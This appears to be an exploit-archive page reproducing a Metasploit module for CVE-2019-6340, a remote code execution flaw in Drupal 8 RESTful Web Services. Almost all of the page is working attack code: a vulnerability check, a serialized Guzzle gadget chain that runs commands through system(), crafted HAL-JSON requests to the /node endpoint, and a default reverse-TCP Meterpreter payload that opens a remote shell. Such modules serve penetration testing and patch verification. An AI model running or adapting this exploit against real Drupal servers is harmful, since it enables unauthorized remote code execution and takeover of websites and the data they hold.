Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() RCE (Metasploit)

2019-03-07 19:05:06

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

# NOTE: All (four) Web Services modules need to be enabled
Rank = NormalRanking

include Msf::Exploit::Remote::HTTP::Drupal

def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal RESTful Web Services unserialize() RCE',
'Description' => %q{
This module exploits a PHP unserialize() vulnerability in Drupal RESTful
Web Services by sending a crafted request to the /node REST endpoint.

As per SA-CORE-2019-003, the initial remediation was to disable POST,
PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
(albeit cached). Cached nodes can be exploited only once.

Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
this alternate vector.

Drupal < 8.5.11 and < 8.6.10 are vulnerable.
},
'Author' => [
'Jasper Mattsson', # Discovery
'Charles Fol', # PoC
'Rotem Reiss', # Module
'wvu' # Module
],
'References' => [
['CVE', '2019-6340'],
['URL', 'https://www.drupal.org/sa-core-2019-003'],
['URL', 'https://www.drupal.org/psa-2019-02-22'],
['URL', 'https://www.ambionics.io/blog/drupal8-rce'],
['URL', 'https://github.com/ambionics/phpggc'],
['URL', 'https://twitter.com/jcran/status/1099206271901798400']
],
'DisclosureDate' => '2019-02-20',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Privileged' => false,
'Targets' => [
['PHP In-Memory',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'Payload' => {'BadChars' => "'"},
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
],
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'CMD' => 'id'
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliablity' => [UNRELIABLE_SESSION], # When using the GET method
'AKA' => ['SA-CORE-2019-003']
}
))

register_options([
OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST',
['GET', 'POST', 'PATCH', 'PUT']]),
OptInt.new('NODE', [false, 'Node ID to target with GET method', 1])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def check
checkcode = CheckCode::Unknown

version = drupal_version

unless version
vprint_error('Could not determine Drupal version')
return checkcode
end

if version.to_s !~ /^8\b/
vprint_error("Drupal #{version} is not supported")
return CheckCode::Safe
end

vprint_status("Drupal #{version} targeted at #{full_uri}")
checkcode = CheckCode::Detected

changelog = drupal_changelog(version)

unless changelog
vprint_error('Could not determine Drupal patch level')
return checkcode
end

case drupal_patch(changelog, 'SA-CORE-2019-003')
when nil
vprint_warning('CHANGELOG.txt no longer contains patch level')
when true
vprint_warning('Drupal appears patched in CHANGELOG.txt')
checkcode = CheckCode::Safe
when false
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
end

# Any further with GET and we risk caching the targeted node
return checkcode if meth == 'GET'

# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
token = Rex::Text.rand_text_alphanumeric(8..42)
res = execute_command("echo #{token}")

return checkcode unless res

if res.body.include?(token)
vprint_good('Drupal is vulnerable to code execution')
checkcode = CheckCode::Vulnerable
end

checkcode
end

def exploit
if [CheckCode::Safe, CheckCode::Unknown].include?(check)
if datastore['ForceExploit']
print_warning('ForceExploit set! Exploiting anyway!')
else
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
end

if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
# XXX: Naughty datastore modification
datastore['DUMP_OUTPUT'] = true
end

case target['Type']
when :php_memory
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
when :unix_memory
execute_command(payload.encoded)
end
end

def execute_command(cmd, opts = {})
vprint_status("Executing with system(): #{cmd}")

# https://en.wikipedia.org/wiki/Hypertext_Application_Language
hal_json = JSON.pretty_generate(
'link' => [
'value' => 'link',
'options' => phpggc_payload(cmd)
],
'_links' => {
'type' => {
'href' => vhost_uri
}
}
)

print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")

res = send_request_cgi({
'method' => meth,
'uri' => node_uri,
'ctype' => 'application/hal+json',
'vars_get' => {'_format' => 'hal_json'},
'data' => hal_json
}, 3.5)

return unless res

case res.code
# 401 isn't actually a failure when using the POST method
when 200, 401
print_line(res.body) if datastore['DUMP_OUTPUT']
if meth == 'GET'
print_warning('If you did not get code execution, try a new node ID')
end
when 404
print_error("#{node_uri} not found")
when 405
print_error("#{meth} method not allowed")
when 422
print_error('VHOST may need to be set')
when 406
print_error('Web Services may not be enabled')
else
print_error("Unexpected reply: #{res.inspect}")
end

res
end

# phpggc Guzzle/RCE1 system id
def phpggc_payload(cmd)
(
# http://www.phpinternalsbook.com/classes_objects/serialization.html
<<~EOF
O:24:"GuzzleHttp\\Psr7\\FnStream":2:{
s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{
s:5:"close";a:2:{
i:0;O:23:"GuzzleHttp\\HandlerStack":3:{
s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";
s:cmd_len:"cmd";
s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";
a:1:{i:0;a:1:{i:0;s:6:"system";}}
s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";
b:0;
}
i:1;s:7:"resolve";
}
}
s:9:"_fn_close";a:2:{
i:0;r:4;
i:1;s:7:"resolve";
}
}
EOF
).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)
end

def meth
datastore['METHOD'] || 'POST'
end

def node
datastore['NODE'] || 1
end

def node_uri
if meth == 'GET'
normalize_uri(target_uri.path, '/node', node)
else
normalize_uri(target_uri.path, '/node')
end
end

def vhost_uri
full_uri(
normalize_uri(target_uri.path, '/rest/type/shortcut/default'),
vhost_uri: true
)
end

end

Fixes

No fixes

In order to submit a new fix you need to be registered.